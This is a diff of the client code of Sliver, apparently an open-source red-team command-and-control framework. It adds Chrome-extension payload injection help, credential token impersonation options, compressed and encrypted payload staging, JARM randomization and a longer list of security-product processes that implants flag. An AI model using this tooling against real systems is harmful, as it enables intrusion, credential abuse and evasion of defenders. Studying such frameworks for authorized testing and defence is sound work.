+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
+You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
+Valid types are:
+
+LOGON_INTERACTIVE
+LOGON_NETWORK
+LOGON_BATCH
+LOGON_SERVICE
+LOGON_UNLOCK
+LOGON_NETWORK_CLEARTEXT
+LOGON_NEW_CREDENTIALS
 `
 
 	getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
@@ -686,6 +701,26 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
 
 	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
 [[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
+`
+
+	cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
+[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
+
+If no extension is specified, Sliver will enumerate all installed extensions, extract their
+permissions and determine a valid target for injection. For Cursed Chrome to work properly
+the target extension must have either of these two sets of permissions:
+
+1. "webRequest" "webRequestBlocking" "<all_urls>" 
+2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 
+
+More information: https://github.com/mandatoryprogrammer/CursedChrome
+`
+
+	buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
+[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
+
+External builders allow the Sliver server offload implant builds onto external machines.
+For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
 `
 )
 

client/command/hosts/hosts.go

@@ -26,6 +26,7 @@ import (
 	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 		"ID",
 		"Hostname",
 		"Operating System",
+		"Locale",
 		"Sessions",
 		"Beacons",
 		"IOCs",
 		"Extensions",
+		"First Contact",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID,
 			host.Hostname,
 			host.OSVersion,
+			host.Locale,
 			hostSessions(host.HostUUID, con),
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
+			con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
 		})
 	}
 	return tw.Render()

client/command/info/info.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"time"
 
+	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,33 @@ import (
 
 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
+	var err error
+
+	// Check if we have an active target via 'use'
+	session, beacon := con.ActiveTarget.Get()
+
+	idArg := ctx.Args.String("session")
+	if idArg != "" {
+		// ID passed via argument takes priority
+		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
+	} else if session != nil || beacon != nil {
+		var currID = ""
+		if session != nil {
+			currID = session.ID
+		} else {
+			currID = beacon.ID
+		}
+		session, beacon, err = use.SessionOrBeaconByID(currID, con)
+	} else {
+		if session == nil && beacon == nil {
+			session, beacon, err = use.SelectSessionOrBeacon(con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
 	}
+
 	if session != nil {
 
 		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +73,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, session.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
 		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
 
 	} else if beacon != nil {
 
@@ -67,12 +94,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, beacon.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
 		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
 		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
+		con.Printf(console.Bold+"      Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
 
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)

client/command/jobs/https.go

@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EnforceOTP:      !disableOTP,
 		LongPollTimeout: int64(longPollTimeout),
 		LongPollJitter:  int64(longPollJitter),
+		RandomizeJARM:   !ctx.Flags.Bool("disable-randomized-jarm"),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/jobs.go

@@ -67,6 +67,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
 		"Name",
 		"Protocol",
 		"Port",
+		"Stage Profile",
 	})
 
 	var keys []int
@@ -82,6 +83,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
 			job.Name,
 			job.Protocol,
 			fmt.Sprintf("%d", job.Port),
+			job.ProfileName,
 		})
 	}
 	con.Printf("%s\n", tw.Render())

client/command/jobs/stage.go

@@ -19,9 +19,17 @@ package jobs
 */
 
 import (
+	"bytes"
+	"compress/zlib"
 	"context"
+	"encoding/binary"
+	"fmt"
 	"net/url"
+	"path/filepath"
 	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/util/encoders"
 
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
@@ -36,6 +44,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	listenerURL := ctx.Flags.String("url")
 	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
 	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
+	prependSize := ctx.Flags.Bool("prepend-size")
+	compress := strings.ToLower(ctx.Flags.String("compress"))
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -64,7 +74,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if aesEncryptKey != "" {
 		// check if aes encryption key is correct length
 		if len(aesEncryptKey)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES Key\n")
+			con.PrintErrorf("Incorrect length of AES Key\n")
 			return
 		}
 
@@ -75,7 +85,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 		// check if aes iv is correct length
 		if len(aesEncryptIv)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES IV\n")
+			con.PrintErrorf("Incorrect length of AES IV\n")
 			return
 		}
 
@@ -88,12 +98,34 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	switch compress {
+	case "zlib":
+		// use zlib to compress the stage2
+		var compBuff bytes.Buffer
+		zlibWriter := zlib.NewWriter(&compBuff)
+		zlibWriter.Write(stage2)
+		zlibWriter.Close()
+		stage2 = compBuff.Bytes()
+	case "gzip":
+		stage2 = encoders.GzipBuf(stage2)
+	case "deflate9":
+		fallthrough
+	case "deflate":
+		stage2 = util.DeflateBuf(stage2)
+	}
+
 	if aesEncrypt {
+		// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
+		// but it's also useful here as more advanced cipher modes are often difficult to implement in
+		// a stager.
 		stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
 	}
 
 	switch stagingURL.Scheme {
 	case "http":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting HTTP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -101,6 +133,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Data:     stage2,
 			Host:     stagingURL.Hostname(),
 			Port:     uint32(stagingPort),
+			ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
+				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -110,6 +144,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
 	case "https":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		cert, key, err := getLocalCertificatePair(ctx)
 		if err != nil {
 			con.Println()
@@ -126,6 +163,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Cert:     cert,
 			Key:      key,
 			ACME:     ctx.Flags.Bool("lets-encrypt"),
+			ProfileName: fmt.Sprintf("%s (Silver name: %s)", profileName,
+				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -135,6 +174,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
 	case "tcp":
+		// Always prepend payload size for TCP stagers
+		stage2 = prependPayloadSize(stage2)
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting TCP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -142,6 +183,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Data:     stage2,
 			Host:     stagingURL.Hostname(),
 			Port:     uint32(stagingPort),
+			ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
+				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -161,3 +204,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
 	}
 }
+
+func prependPayloadSize(payload []byte) []byte {
+	payloadSize := uint32(len(payload))
+	lenBuf := make([]byte, 4)
+	binary.LittleEndian.PutUint32(lenBuf, payloadSize)
+	return append(lenBuf, payload...)
+}

client/command/network/netstat.go

@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ip6 := ctx.Flags.Bool("ip6")
 	tcp := ctx.Flags.Bool("tcp")
 	udp := ctx.Flags.Bool("udp")
+	numeric := ctx.Flags.Bool("numeric")
 
 	implantPID := getPID(session, beacon)
 	activeC2 := getActiveC2(session, beacon)
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintNetstat(netstat, implantPID, activeC2, con)
+			PrintNetstat(netstat, implantPID, activeC2, numeric, con)
 		})
 		con.PrintAsyncResponse(netstat.Response)
 	} else {
-		PrintNetstat(netstat, implantPID, activeC2, con)
+		PrintNetstat(netstat, implantPID, activeC2, numeric, con)
 	}
 }
 
-func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
+func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
 	lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
-		const IPv4Strlen = 17
 		addr := skaddr.Ip
 		names, err := net.LookupAddr(addr)
 		if err == nil && len(names) > 0 {
 			addr = names[0]
 		}
-		if len(addr) > IPv4Strlen {
-			addr = addr[:IPv4Strlen]
-		}
 		return fmt.Sprintf("%s:%d", addr, skaddr.Port)
 	}
 
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
 		if entry.Process != nil {
 			pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
 		}
-		srcAddr := lookup(entry.LocalAddr)
-		dstAddr := lookup(entry.RemoteAddr)
+		srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
+		dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
+		if !numeric {
+			srcAddr = lookup(entry.LocalAddr)
+			dstAddr = lookup(entry.RemoteAddr)
+		}
 		if entry.Process != nil && entry.Process.Pid == implantPID {
 			tw.AppendRow(table.Row{
 				fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),

client/command/portfwd/portfwd-add.go

@@ -19,8 +19,10 @@ package portfwd
 */
 
 import (
+	"fmt"
 	"log"
 	"net"
+	"regexp"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
 // PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if session.GetActiveC2() == "dns" {
-		con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
 	}
 	if session.Transport == "wg" {
-		con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
+		con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
 	}
 	remoteAddr := ctx.Flags.String("remote")
 	if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
 	}
 	bindAddr := ctx.Flags.String("bind")
-	if remoteAddr == "" {
-		con.PrintErrorf("Must specify a bind target host:port")
+	if bindAddr == "" {
+		con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
 		return
 	}
+	// If only a port is specified bind to localhost
+	if portNumberOnlyRegexp.MatchString(bindAddr) {
+		bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
+	}
 
 	tcpProxy := &tcpproxy.Proxy{}
 	channelProxy := &core.ChannelProxy{

client/command/portfwd/portfwd.go

@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
 		"Remote Address",
 	})
 	for _, p := range portfwds {
-		tw.AppendHeader(table.Row{
+		tw.AppendRow(table.Row{
 			p.ID,
 			p.SessionID,
 			p.BindAddr,

client/command/privilege/make-token.go

@@ -28,6 +28,16 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+var logonTypes = map[string]uint32{
+	"LOGON_INTERACTIVE":       2,
+	"LOGON_NETWORK":           3,
+	"LOGON_BATCH":             4,
+	"LOGON_SERVICE":           5,
+	"LOGON_UNLOCK":            7,
+	"LOGON_NETWORK_CLEARTEXT": 8,
+	"LOGON_NEW_CREDENTIALS":   9,
+}
+
 // MakeTokenCmd - Windows only, create a token using "valid" credentails
 func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	username := ctx.Flags.String("username")
 	password := ctx.Flags.String("password")
 	domain := ctx.Flags.String("domain")
+	logonType := ctx.Flags.String("logon-type")
+
+	if _, ok := logonTypes[logonType]; !ok {
+		con.PrintErrorf("Invalid logon type: %s\n", logonType)
+		return
+	}
 
 	if username == "" || password == "" {
 		con.PrintErrorf("Pou must provide a username and password\n")
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil("Creating new logon session ...", ctrl)
 
 	makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
-		Request:  con.ActiveTarget.Request(ctx),
-		Username: username,
-		Domain:   domain,
-		Password: password,
+		Request:   con.ActiveTarget.Request(ctx),
+		Username:  username,
+		Domain:    domain,
+		Password:  password,
+		LogonType: logonTypes[logonType],
 	})
 	ctrl <- true
 	<-ctrl

client/command/privilege/runas.go

@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	username := ctx.Flags.String("username")
+	password := ctx.Flags.String("password")
+	domain := ctx.Flags.String("domain")
+	showWindow := ctx.Flags.Bool("show-window")
 	process := ctx.Flags.String("process")
 	arguments := ctx.Flags.String("args")
+	netonly := ctx.Flags.Bool("net-only")
 
 	if username == "" {
 		con.PrintErrorf("Please specify a username\n")
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Username:    username,
 		ProcessName: process,
 		Args:        arguments,
+		Domain:      domain,
+		Password:    password,
+		HideWindow:  !showWindow,
+		NetOnly:     netonly,
 	})
 	if err != nil {
 		con.PrintErrorf("%s", err)

client/command/processes/ps.go

@@ -21,6 +21,7 @@ package processes
 import (
 	"context"
 	"fmt"
+	"sort"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -39,19 +40,51 @@ var (
 		// Process Name -> [Color, Stylized Name]
 		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
 		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
+		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
 		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
+		"SenseIR.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint (Live Response Session)
+		"SenseCncProxy.exe":               {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
+		"MsSense.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
+		"MpCmdRun.exe":                    {console.Red, "Windows Defender"},             // Windows Defender
+		"MonitoringHost.exe":              {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
+		"HealthService.exe":               {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
 		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
 		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
 		"CSFalconContainer.exe":           {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
 		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"Deep Security Manager.exe":       {console.Red, "Trend Micro"},                  // TM Deep Security Manager
+		"coreServiceShell.exe":            {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
+		"ds_monitor.exe":                  {console.Red, "Trend Micro"},                  // TM Deep Security Monitor
+		"Notifier.exe":                    {console.Red, "Trend Micro"},                  // TM Deep Security Notifier's process
+		"dsa.exe":                         {console.Red, "Trend Micro"},                  // TM Agent's main process
+		"ds_nuagent.exe":                  {console.Red, "Trend Micro"},                  // TM Advanced TLS traffic inspection
+		"coreFrameworkHost.exe":           {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
 		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelBrowserNativeHost.exe":   {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelUI.exe":                  {console.Red, "SentinelOne"},                  // Sentinel One
+		"Sysmon.exe":                      {console.Red, "Sysmon"},                       // Sysmon
+		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64
+		"CylanceSvc.exe":                  {console.Red, "Cylance"},                      // Cylance
+		"CylanceUI.exe":                   {console.Red, "Cylance"},                      // Cylance
+		"TaniumClient.exe":                {console.Red, "Tanium"},                       // Tanium
+		"TaniumCX.exe":                    {console.Red, "Tanium"},                       // Tanium
+		"TaniumDetectEngine.exe":          {console.Red, "Tanium"},                       // Tanium
+		"collector.exe":                   {console.Red, "Rapid 7 Collector"},            // Rapid 7 Insight Platform Collector
+		"ir_agent.exe":                    {console.Red, "Rapid 7 Insight Agent"},        // Rapid 7 Insight Agent
+		"eguiproxy.exe":                   {console.Red, "ESET Security"},                // ESET Internet Security
+		"ekrn.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
+		"efwd.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
 	}
 )
 
@@ -110,6 +143,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 	ownerFilter := ctx.Flags.String("owner")
 	overflow := ctx.Flags.Bool("overflow")
 	skipPages := ctx.Flags.Int("skip-pages")
+	pstree := ctx.Flags.Bool("tree")
+
+	if pstree {
+		var currentPID int32
+		session, beacon := con.ActiveTarget.GetInteractive()
+		if session != nil && session.PID != 0 {
+			currentPID = session.PID
+		} else if beacon != nil && beacon.PID != 0 {
+			currentPID = beacon.PID
+		}
+		// Print the process tree
+		sorted := SortProcessesByPID(ps.Processes)
+		tree := NewPsTree(currentPID)
+		for _, p := range sorted {
+			tree.AddProcess(p)
+		}
+		con.PrintInfof("Process Tree:\n%s", tree.String())
+		return
+	}
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
@@ -249,3 +301,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
 	}
 	return -1
 }
+
+// SortProcessesByPID - Sorts a list of processes by PID
+func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
+	sort.Slice(ps, func(i, j int) bool {
+		return ps[i].Pid < ps[j].Pid
+	})
+	return ps
+}

client/command/processes/pstree.go

@@ -0,0 +1,149 @@
+package processes
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/xlab/treeprint"
+)
+
+// A PsTree is a tree of *commonpb.Process
+type PsTree struct {
+	printableTree treeprint.Tree // only used for rendering
+	implantPID    int32
+	procTree      *node // used to hold the tree structure
+}
+
+type node struct {
+	Value    *commonpb.Process // The process information
+	Children map[int32]*node   // The children of this node
+	Parent   *node             // The parent of this node
+}
+
+// NewPsTree creates a new PsTree
+func NewPsTree(pid int32) *PsTree {
+	return &PsTree{
+		printableTree: treeprint.New(),
+		implantPID:    pid,
+		procTree:      &node{Value: &commonpb.Process{Pid: -1}},
+	}
+}
+
+func (n *node) insert(proc *commonpb.Process) {
+	if n.Value == nil {
+		n.Value = proc
+		return
+	}
+	if parent := n.findParent(proc); parent != nil {
+		if parent.Children == nil {
+			parent.Children = make(map[int32]*node)
+		}
+		parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
+	} else {
+		if n.Children == nil {
+			n.Children = make(map[int32]*node)
+		}
+		n.Children[proc.Pid] = &node{Value: proc, Parent: n}
+	}
+}
+
+func (n *node) findParent(proc *commonpb.Process) *node {
+	if n.Value == nil {
+		return nil
+	}
+	if n.Value.Pid == proc.Ppid {
+		return n
+	}
+	for _, child := range n.Children {
+		if p := child.findParent(proc); p != nil {
+			return p
+		}
+	}
+	return nil
+}
+
+func reorder(root *node) {
+	toDelete := make([]int32, 0)
+	for pid, child := range root.Children {
+		// skip root node
+		if child.Value.Pid == -1 {
+			continue
+		}
+		// Skip edge case of [System Process] on Windows
+		if child.Value.Ppid == pid {
+			continue
+		}
+		// only focus on children without parent
+		if child.Parent.Value.Pid == -1 {
+			if parent := root.findParent(child.Value); parent != nil {
+				child.Parent = parent
+				if parent.Children == nil {
+					parent.Children = make(map[int32]*node)
+				}
+				// copy to new parent
+				parent.Children[pid] = child
+				// mark for deletion
+				toDelete = append(toDelete, pid)
+			}
+		}
+	}
+	// delete children that were moved
+	for _, pid := range toDelete {
+		delete(root.Children, pid)
+	}
+}
+
+func (t *PsTree) AddProcess(proc *commonpb.Process) {
+	t.procTree.insert(proc)
+}
+
+func (t *PsTree) filterProc(proc *commonpb.Process) string {
+	color := console.Normal
+	if proc.Pid == t.implantPID {
+		color = console.Green
+	}
+	if secTool, ok := knownSecurityTools[proc.Executable]; ok {
+		color = secTool[0]
+	}
+	return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
+}
+
+func (t *PsTree) String() string {
+	reorder(t.procTree)
+	return t.Print()
+}
+
+func (t *PsTree) Print() string {
+	topLevelPIDs := make([]int, 0, len(t.procTree.Children))
+	for k := range t.procTree.Children {
+		topLevelPIDs = append(topLevelPIDs, int(k))
+	}
+	sort.Ints(topLevelPIDs)
+	for _, pid := range topLevelPIDs {
+		current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
+		t.addToTree(current, t.procTree.Children[int32(pid)].Children)
+	}
+	return t.printableTree.String()
+
+}
+
+func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
+	for pid, proc := range procs {
+		if proc.Value.Pid == -1 {
+			continue
+		}
+		procName := t.filterProc(proc.Value)
+
+		procNode := tree.FindByMeta(pid)
+		if procNode == nil {
+			if len(proc.Children) > 0 {
+				procNode = tree.AddMetaBranch(pid, procName)
+			} else {
+				procNode = tree.AddMetaNode(pid, procName)
+			}
+		}
+		t.addToTree(procNode, proc.Children)
+	}
+}

client/command/processes/terminate.go

@@ -30,8 +30,9 @@ import (
 
 // TerminateCmd - Terminate a process on the remote system
 func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		con.PrintErrorf("No active session or beacon\n")
 		return
 	}
 

client/command/reaction/save.go

@@ -19,6 +19,7 @@ package reaction
 */
 
 import (
+	"fmt"
 	"os"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (
 
 // ReactionSaveCmd - Manage reactions to events
 func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
